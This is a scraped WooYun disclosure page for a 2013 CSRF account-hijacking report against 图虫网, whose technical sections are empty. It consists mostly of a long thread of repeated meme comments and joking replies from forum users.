2013-05-12 15:13 | 流星warden ( 实习白帽子 | Rank:54 漏洞数:5 | The quieter you become,the more you are ...)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-12 15:39 | 小胖子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-12 17:25 | 偉哥 ( 实习白帽子 | Rank:67 漏洞数:11 | 哥是没帽子)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-16 00:21 | 龙啸双节棍 ( 路人 | Rank:0 漏洞数:1 | 漏洞爱好者)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-17 01:51 | 顺子 ( 普通白帽子 | Rank:236 漏洞数:36 | 0-0努力像正常青年靠近，再也不当上错图的2...)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-17 22:02 | tzrj ( 实习白帽子 | Rank:87 漏洞数:24 | 1111)

后排围观小学六年级……死在沙滩上
2013-05-18 21:36 | Sunshie ( 实习白帽子 | Rank:58 漏洞数:9 | http://phpinfo.me)

前排围观小学六年级……死在沙滩上…
2013-05-18 21:39 | Black Angel ( 普通白帽子 | Rank:163 漏洞数:35 | 最神奇的一群人，智慧低调又内敛，俗称马甲...)

后排围观小学六年级……死在沙滩上
2013-05-18 21:40 | 海绵宝宝 ( 普通白帽子 | Rank:243 漏洞数:50 | 唯有梦想与好姑娘不可辜负.)

后排围观小学六年级……死在沙滩上
2013-05-21 15:37 | iceks ( 路人 | Rank:4 漏洞数:1 | 你是我的小呀小苹果~)

前排围观小学六年级……死在沙滩上……
2013-05-28 10:00 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:41 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

我受打击了。。这让我们这帮80后情何以堪啊。。
2013-05-28 11:23 | 街球幽灵 ( 路人 | Rank:29 漏洞数:5 | 社会工程学研究，手机维修工程师。)

前排围观小学六年级……死在沙滩上……
2013-05-28 11:48 | 堕络 ( 路人 | Rank:20 漏洞数:2 | 一个新手菜鸟求关爱)

后排围观小学六年级……死在沙滩上……
2013-05-29 16:49 | wsm123 ( 路人 | Rank:5 漏洞数:7 | test)

最后排围观小学六年级……死在沙滩上……
2013-06-01 18:01 | X谁谁怀孕 ( 路人 | Rank:12 漏洞数:12 | 出门带多兰，草丛 AQA 草丛 QEA 引燃闪现 ...)

靠墙围观小学六年级……死在沙滩上…… 顺便爆198楼的菊花。嘿嘿
2013-06-01 18:36 | 偉哥 ( 实习白帽子 | Rank:67 漏洞数:11 | 哥是没帽子)

@X谁谁怀孕你是人吗？居然能爆自己菊花……
2013-06-01 20:22 | NoKing ( 路人 | Rank:15 漏洞数:2 | 一个垃圾罢了)

@X谁谁怀孕不科学，rank 0怎么回事
2013-06-01 20:23 | NoKing ( 路人 | Rank:15 漏洞数:2 | 一个垃圾罢了)

保持队形。。。最后排围观小学六年级……死在沙滩上……
2013-06-01 22:45 | 木头 ( 路人 | Rank:28 漏洞数:5 | 一二三，木头人)

倒数第一排围观小学六年级……射在沙滩上……
2013-06-01 22:49 | 半世倾尘 ( 路人 | Rank:29 漏洞数:8 | 努力)

@偉哥这你就不懂了吧咱们不懂就在那听别不懂装懂不懂就听人家说噢噢噢听懂了如果你绕着一棵树用超光速裸奔你就有可能操到自己——爱因斯坦！
2013-06-02 00:46 | 堕络 ( 路人 | Rank:20 漏洞数:2 | 一个新手菜鸟求关爱)

@半世倾尘牛掰定律
2013-06-02 02:32 | Solomon ( 实习白帽子 | Rank:42 漏洞数:5 | 玩笑而已，厂商勿怪！！！)

后排围观小学六年级……我们大龄青年全部要死在沙滩上……
2013-06-03 15:08 | 小乖 ( 路人 | Rank:21 漏洞数:6 | 这个家伙很懒，什么也没留下。)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-06-03 17:54 | 裙下的秘密 ( 实习白帽子 | Rank:83 漏洞数:9 | )

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-06-03 19:16 | 堕络 ( 路人 | Rank:20 漏洞数:2 | 一个新手菜鸟求关爱)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-06-03 20:08 | fox ( 普通白帽子 | Rank:159 漏洞数:16 | fox)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-06-04 10:30 | 小弟 ( 路人 | Rank:10 漏洞数:3 | 楼主好人！下辈子美利坚...)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-06-04 23:44 | 顺子 ( 普通白帽子 | Rank:236 漏洞数:36 | 0-0努力像正常青年靠近，再也不当上错图的2...)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-06-05 10:02 | 松子 ( 实习白帽子 | Rank:45 漏洞数:5 | 无事)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-06-05 21:12 | Master ( 路人 | Rank:29 漏洞数:6 )

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-06-20 23:37 | sky ( 实习白帽子 | Rank:94 漏洞数:30 | 有一天，我带着儿子@jeary 去@园长的园长...)

前排围观小学六年级……死在沙滩上……
2013-06-22 12:30 | 小峰子0204 ( 路人 | Rank:6 漏洞数:3 )

中排围观小学六年级……死在沙滩上……
2013-06-24 13:52 | Duking ( 路人 | Rank:1 漏洞数:1 | 懒人啦~~)

后排围观小学六年级……死在沙滩上... 小伙我把朋友女儿介绍给你...@VIP
2013-07-19 13:47 | 小囧 ( 普通白帽子 | Rank:396 漏洞数:62 | 在通往牛B的路上一路狂奔)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-07-22 16:41 | ╰╃清風 ( 实习白帽子 | Rank:89 漏洞数:9 | 这家伙很懒，什么都没有留下)

@vip 学长好
2013-07-22 16:42 | Anonymous.Antisec ( 实习白帽子 | Rank:48 漏洞数:8 | We are anonymous.)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-07-27 18:06 | 小乐天 ( 实习白帽子 | Rank:64 漏洞数:12 | From KnownSec)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-07-29 23:30 | blacksun ( 路人 | Rank:13 漏洞数:1 | blacksun)

前排围观小学六年级……死在沙滩上……
2013-11-25 11:39 | Honker红颜 ( 普通白帽子 | Rank:156 漏洞数:50 | 皖南人士,90后宅男,自学成才,天朝教育失败....)

中排围观小学六年级……死在沙滩上……
2013-12-30 02:08 | lsh4ck ( 实习白帽子 | Rank:81 漏洞数:13 | 不是黑客!但是黑客手段都要会?)

后排围观小学六年级……死在沙滩上……
2014-01-26 09:57 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

你们渴吗？这里卖水……少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个。我只是一个卖水的大爷……
2014-05-19 10:18 | fastory ( 路人 | 还没有发布任何漏洞 | 早睡早起，好好学习)

后排围观小学六年级……死在沙滩上……
2014-09-26 22:47 | 小胖子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

从前我有个好朋友，他叫VIP，后来他死了。真是一个悲伤的故事。
2014-09-26 22:58 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫，我笑世人看不穿~)

从前我有个好朋友，他叫VIP，后来他死了。真是一个悲伤的故事。
2014-09-27 10:29 | wellsun ( 路人 | Rank:0 漏洞数:1 | www.wellsun.com)

从前我有个好朋友，他叫VIP，后来楼下死了。真是一个悲伤的故事。
2014-09-27 15:48 | 马化腾 ( 路人 | Rank:14 漏洞数:2 | 动词大呲咚呲哒呲)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2015-02-27 22:41 | 小杰哥 ( 普通白帽子 | Rank:155 漏洞数:20 | 逆水行舟，不进则退。)

后排围观小学六年级……死在沙滩上……
2015-02-27 22:47 | Mr.R ( 实习白帽子 | Rank:52 漏洞数:13 | 求大神带我飞 qq2584110147)

前排围观小学六年级……死在沙滩上……
2015-03-18 19:56 | Flygend ( 路人 | Rank:0 漏洞数:1 | 呵呵)

前排围观小学六年级……死在沙滩上……

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-022895

漏洞标题：图虫网利用csrf可劫持账号

相关厂商：图虫网

漏洞作者： VIP

提交时间：2013-05-02 11:29

修复时间：2013-06-16 11:29

公开时间：2013-06-16 11:29

漏洞类型：CSRF

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 VIP@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-022895

漏洞标题：图虫网利用csrf可劫持账号

相关厂商：图虫网

漏洞作者： VIP

提交时间：2013-05-02 11:29

修复时间：2013-06-16 11:29

公开时间：2013-06-16 11:29

漏洞类型：CSRF

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2013-022895"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 VIP@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

漏洞概要关注数(24) 关注此漏洞

Tags标签：无

4人收藏收藏
分享漏洞：